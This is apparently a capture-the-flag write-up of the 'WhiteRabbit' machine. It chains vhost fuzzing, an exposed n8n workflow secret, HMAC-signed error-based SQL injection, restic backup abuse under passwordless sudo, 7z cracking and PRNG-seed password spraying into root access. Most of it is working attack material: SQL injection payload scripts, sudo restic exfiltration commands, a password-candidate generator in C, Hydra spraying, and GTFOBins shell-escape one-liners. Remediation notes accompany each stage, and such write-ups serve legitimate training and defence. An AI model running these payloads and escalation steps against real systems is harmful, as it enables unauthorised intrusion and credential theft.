WhiteRabbit
Summary
Initial recon against $TARGET found a Caddy web server issuing a 302 to whiterabbit.htb for any request without the right Host header, indicating vhost-based routing. Adding the base hostname exposed a static company site (Bootstrap-based pentest firm landing page). A background ffuf vhost fuzz (Host: FUZZ.whiterabbit.htb) turned up two hidden vhosts: status.whiterabbit.htb, redirecting to an Uptime Kuma dashboard, and a hash-named host, a668910b5514e.whiterabbit.htb, serving a Wiki.js instance.
Wiki.js allowed anonymous GraphQL queries ({pages{single(id:2){path title content}}}) and had a public page, "GoPhish Webhooks," documenting how the site's GoPhish instance calls an n8n workflow on phishing-simulation events. That page linked directly to the exported n8n workflow JSON (/gophish/gophish_to_phishing_score_database.json), which was served with no auth and contained the webhook's HMAC signing secret ([REDACTED: webhook HMAC secret]) and target endpoint (/webhook/[REDACTED: webhook path] on a third hidden vhost, 28efa8f7df.whiterabbit.htb).
The workflow used the webhook's email field directly inside a raw SQL UPDATE victims SET phishing_score ... WHERE email = $1 query. Signing forged requests with the leaked HMAC secret allowed authenticated calls to the webhook, and the email field was injectable (error-based SQLi, MariaDB backend, confirmed via UNION SELECT column-count probing and extractvalue() error leakage). Enumeration surfaced two databases: phishing (the app schema) and temp, which held a command_log table logging six shell commands an operator had run on the box, including restic init --repo rest:http://$RESTIC_HOST and the restic repository password in plaintext.
Adding the leaked restic vhost, RESTIC_PASSWORD=[REDACTED: restic repository password] restic -r rest:http://$RESTIC_HOST listed a snapshot of /dev/shm/bob/ssh, restored to reveal a password-protected bob.7z containing an SSH key and config (port 2222). 7z2john + john against rockyou cracked the archive ([REDACTED: archive password]), yielding bob's private key. SSH as bob on port 2222 succeeded — foothold — but landed inside a Docker container (docker-user-1), not the host itself.
bob had passwordless sudo on /usr/bin/restic. Abusing sudo restic init/backup/restore against host paths outside the container's normal reach (using a pty-allocated script wrapper to satisfy restic's interactive prompts) allowed exfiltration of root-owned files, including /root/morpheus, an SSH private key for a real host account. SSH as morpheus@$TARGET:22 landed on the actual host (uid=1001), reaching user.txt in /home/morpheus — user flag [REDACTED: user flag].
morpheus had no usable sudo (password required, none known). /opt/neo-password-generator, a readable SUID-adjacent binary owned by root, was reverse-engineered with objdump -d and found to seed its PRNG from a millisecond-resolution timestamp (the binary's embedded build/mtime, 2024-08-30 14:40:42 UTC → epoch 1725028842). A local C reimplementation (gen.c) regenerated the exact 1,000-candidate password space for that one-second window. Password-spraying those candidates against SSH user neo with Hydra recovered neo:[REDACTED: neo password]. neo was a member of the sudo group, and sudo with the recovered password produced a root shell and root.txt — root flag [REDACTED: root flag].
Attack path — how the box was taken
The attacker fuzz-enumerated hidden virtual hosts on a Caddy reverse proxy and discovered a Wiki.js instance that permitted unauthenticated GraphQL queries. A public internal page linked to an exported n8n automation workflow file that was served with no authentication and contained a live HMAC signing secret and webhook URL. The webhook's SQL node interpolated the email field directly into a raw MariaDB query; signing crafted payloads with the leaked secret enabled error-based SQL injection that exposed a shell-command audit table holding the plaintext password for an internal restic backup server. Restoring the backup snapshot recovered an encrypted SSH key archive for container user bob; cracking the archive with rockyou.txt gave a foothold inside a Docker container. Bob held passwordless sudo over the restic binary, which was abused to back up host root-owned paths and restore them to a readable location, yielding the SSH private key for real host account morpheus and the user flag. On the real host, a SUID-adjacent password-generator binary seeded its PRNG from its own file modification timestamp—a value readable by any user. Reimplementing the generator in C and spraying the ~1,000 resulting candidates with Hydra recovered the password for user neo, who was a member of the sudo group, producing a root shell and the root flag.
Exact commands 3
echo "$TARGET whiterabbit.htb" | sudo tee -a /etc/hostsffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt -u http://$TARGET/ -H 'Host: FUZZ.whiterabbit.htb' -ac -t 60 -sexport WIKI_HOST="a668910b5514e.whiterabbit.htb"; echo "$TARGET $WIKI_HOST status.whiterabbit.htb" | sudo tee -a /etc/hostsExact commands 3
curl -s -X POST http://$WIKI_HOST/graphql -H 'Content-Type: application/json' -d '{"query":"{pages{single(id:2){path title content}}}"}'curl -s http://$WIKI_HOST/gophish/gophish_to_phishing_score_database.json -o wf.json && cat wf.jsonexport WEBHOOK_HOST="28efa8f7df.whiterabbit.htb"; echo "$TARGET $WEBHOOK_HOST" | sudo tee -a /etc/hostsFixRequire authentication for all Wiki.js pages and remove secrets from documentationCritical
http://$RESTIC_HOST) and the repository password ([REDACTED: restic repository password]) in plaintext.Exact commands 2
export WEBHOOK_HMAC_SECRET="[REDACTED: webhook HMAC secret]"
python3 - <<'EOF'
import hmac, hashlib, requests, json, os
key = os.environ['WEBHOOK_HMAC_SECRET'].encode()
url = 'http://$WEBHOOK_HOST/webhook/$WEBHOOK_PATH'
q = 'x" or extractvalue(1,concat(0x7e,(select group_concat(schema_name) from information_schema.schemata)))-- -'
payload = json.dumps({'email': q, 'score': 1})
sig = hmac.new(key, payload.encode(), hashlib.sha256).hexdigest()
print(requests.post(url, data=payload, headers={'Content-Type':'application/json','X-Signature':sig}).text)
EOFexport WEBHOOK_HMAC_SECRET="[REDACTED: webhook HMAC secret]"
python3 - <<'EOF'
import hmac, hashlib, requests, json, os
key = os.environ['WEBHOOK_HMAC_SECRET'].encode()
url = 'http://$WEBHOOK_HOST/webhook/$WEBHOOK_PATH'
for i in range(6):
q = f'x" or extractvalue(1,concat(0x7e,(select command from temp.command_log limit 1 offset {i})))-- -'
payload = json.dumps({'email': q, 'score': 1})
sig = hmac.new(key, payload.encode(), hashlib.sha256).hexdigest()
r = requests.post(url, data=payload, headers={'Content-Type':'application/json','X-Signature':sig})
print(i, r.text[:300])
EOFFixParameterize all SQL in n8n workflows and rotate the HMAC signing secretCritical
Exact commands 5
export RESTIC_HOST="75951e6ff.whiterabbit.htb"; echo "$TARGET $RESTIC_HOST" | sudo tee -a /etc/hostsexport RESTIC_PASSWORD='[REDACTED: restic repository password]' && restic -r rest:http://$RESTIC_HOST snapshotsrestic -r rest:http://$RESTIC_HOST restore latest --target /tmp/rr7z2john /tmp/rr/dev/shm/bob/ssh/bob.7z > /tmp/bob.hash && john /tmp/bob.hash --wordlist=/usr/share/wordlists/rockyou.txt7z x -p'[REDACTED: archive password]' /tmp/rr/dev/shm/bob/ssh/bob.7z -o/tmp/bobkey && chmod 600 /tmp/bobkey/bobFixPurge credentials from SQL-accessible audit logs and enforce secrets hygiene for CLI commandsHigh
Exact commands 1
ssh -i /tmp/bobkey/bob -p 2222 -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null bob@$TARGET 'id; hostname; ls -la ~; ls -la /'Exact commands 4
ssh -i /tmp/bobkey/bob -p 2222 bob@$TARGET 'sudo -l'ssh -i /tmp/bobkey/bob -p 2222 bob@$TARGET 'export RESTIC_PASSWORD="[REDACTED: temporary local repository password]"; script -qc "sudo /usr/bin/restic init --repo /tmp/loot_repo" /dev/null && script -qc "sudo /usr/bin/restic -r /tmp/loot_repo backup /root" /dev/null && script -qc "sudo /usr/bin/restic -r /tmp/loot_repo restore latest --target /tmp/loot" /dev/null && ls /tmp/loot/root/'scp -i /tmp/bobkey/bob -P 2222 bob@$TARGET:/tmp/loot/root/morpheus /tmp/morpheus && chmod 600 /tmp/morpheusssh -i /tmp/morpheus -p 22 -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null morpheus@$TARGET 'id; hostname; cat ~/user.txt'FixRemove the passwordless sudo rule for restic and run backups under a least-privilege service accountCritical
Exact commands 4
ssh -i /tmp/morpheus -p 22 morpheus@$TARGET 'stat /opt/neo-password-generator; objdump -d --no-show-raw-insn -M intel /opt/neo-password-generator | head -150'cat > /tmp/gen.c << 'EOF'
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(int argc, char **argv) {
long base = atol(argv[1]);
int range = atoi(argv[2]);
const char *chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$";
int len = strlen(chars);
for (int ms = 0; ms < range * 1000; ms++) {
srand((unsigned)(base + ms));
char pw[17]; pw[16] = '\0';
for (int i = 0; i < 16; i++) pw[i] = chars[rand() % len];
printf("%s\n", pw);
}
return 0;
}
EOF
gcc -O2 -o /tmp/gen /tmp/gen.c/tmp/gen 1725028842 1 > /tmp/neo_candidates.txt && wc -l /tmp/neo_candidates.txthydra -l neo -P /tmp/neo_candidates.txt -t 4 ssh://$TARGETFixReplace the timestamp-seeded password generator with a cryptographically secure one and audit neo's sudo membershipCritical
Exact commands 1
NEO_PASSWORD="[REDACTED: neo password]"
sshpass -p "$NEO_PASSWORD" ssh -tt -p 22 -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null neo@$TARGET "id; sudo -S sh -c 'id; cat /root/root.txt'" <<< "$NEO_PASSWORD"FixReplace the timestamp-seeded password generator with a cryptographically secure one and audit neo's sudo membershipCritical
Attack patterns used
The transferable techniques behind this compromise — expand each to learn how it works and where to read more.
Password / Credential ReuseCredential Access · Lateral MovementT1078
What it is
A password recovered from one place — a config file, a database, a cracked hash, a service account — is tried against other accounts and services (SSH, SMB, WinRM, sudo, the database, the next host). Reuse turns a single leaked secret into broad access.
Why it works
Humans and deployments reuse passwords across accounts and tiers, and lateral movement thrives on it. Remediate with unique credentials per account/service, a password manager/vault, and MFA on remote-access services.
Read more
SQL InjectionWebT1190
What it is
User input is concatenated into a SQL query, letting an attacker alter the query's logic — bypassing authentication, dumping tables (including password hashes), or, with stacked queries / file privileges, writing webshells or executing OS commands. `sqlmap` automates detection and exploitation across boolean/error/time/union vectors.
Why it works
The root cause is mixing untrusted data with query code instead of using parameterized statements. Remediate with prepared statements/ORM bindings, least-privilege DB accounts, and input validation.
Read more
SSH Private Key / Credential TheftCredential Access · Lateral MovementT1552.004
What it is
Foothold access frequently exposes reusable secrets: SSH private keys (`~/.ssh/id_rsa`), `authorized_keys`, config files, history, and backups. Recovering a private key lets the attacker authenticate as that user (or pivot to other hosts that trust the key), often upgrading a shaky webshell into a stable SSH session.
Why it works
Keys and credentials get left in home directories, world-readable backups, and version control. Remediate by passphrase-protecting keys, scoping `authorized_keys`, and scanning for secrets at rest.
Read more
Sudo Misconfiguration (GTFOBins)Linux · Privilege EscalationT1548.003
What it is
When a low-privileged user is allowed (via `sudo -l`) to run a specific binary as root, many binaries can be coerced into spawning a root shell or reading root-owned files. GTFOBins catalogs the escape for each binary — e.g. `sudo perl -e 'exec "/bin/sh"'`, `sudo vim -c ':!sh'`, `sudo find . -exec /bin/sh \;`.
Why it works
Admins grant narrow sudo rights assuming the binary is 'safe', but interpreters, editors, and many utilities have shell-out features. Remediate by avoiding sudo rules on interpreter-class binaries, using `NOEXEC`, and least-privilege review. Always run `sudo -l` first on a foothold.
Read more
SUID/SGID Binary AbuseLinux · Privilege EscalationT1548.001
What it is
Files with the SUID bit run with the file owner's privileges (often root) regardless of who launches them. Finding an unusual SUID binary (`find / -perm -4000 2>/dev/null`) that has a shell-escape or file-read primitive — per GTFOBins — yields code execution as root.
Why it works
SUID is needed for a few system binaries (passwd, ping) but custom or misconfigured SUID files are a classic escalation. Remediate by minimizing SUID binaries, dropping privileges in custom tools, and monitoring the SUID inventory for drift.
Read more
Findings
Exposed services
| 22/tcp | ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.9 (Ubuntu Linux; protocol 2.0) |
| 80/tcp | http Caddy httpd |
| 2222/tcp | ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.5 (Ubuntu Linux; protocol 2.0) |
Operational notes
command_log table preserved the operator's restic initialization command and repository password in plaintext. Once the SQL injection reached that table, the backup repository became a direct credential-recovery path.ffuf scans used the same wordlist with only minor flag changes. The second scan added no useful coverage and consumed an unnecessary background slot.ssh -tt and script -qec supplied the interactive terminal restic expected. Keeping that pty wrapper in the command sequence makes the technique repeatable.objdump required several passes before the matching C implementation produced the correct candidate space.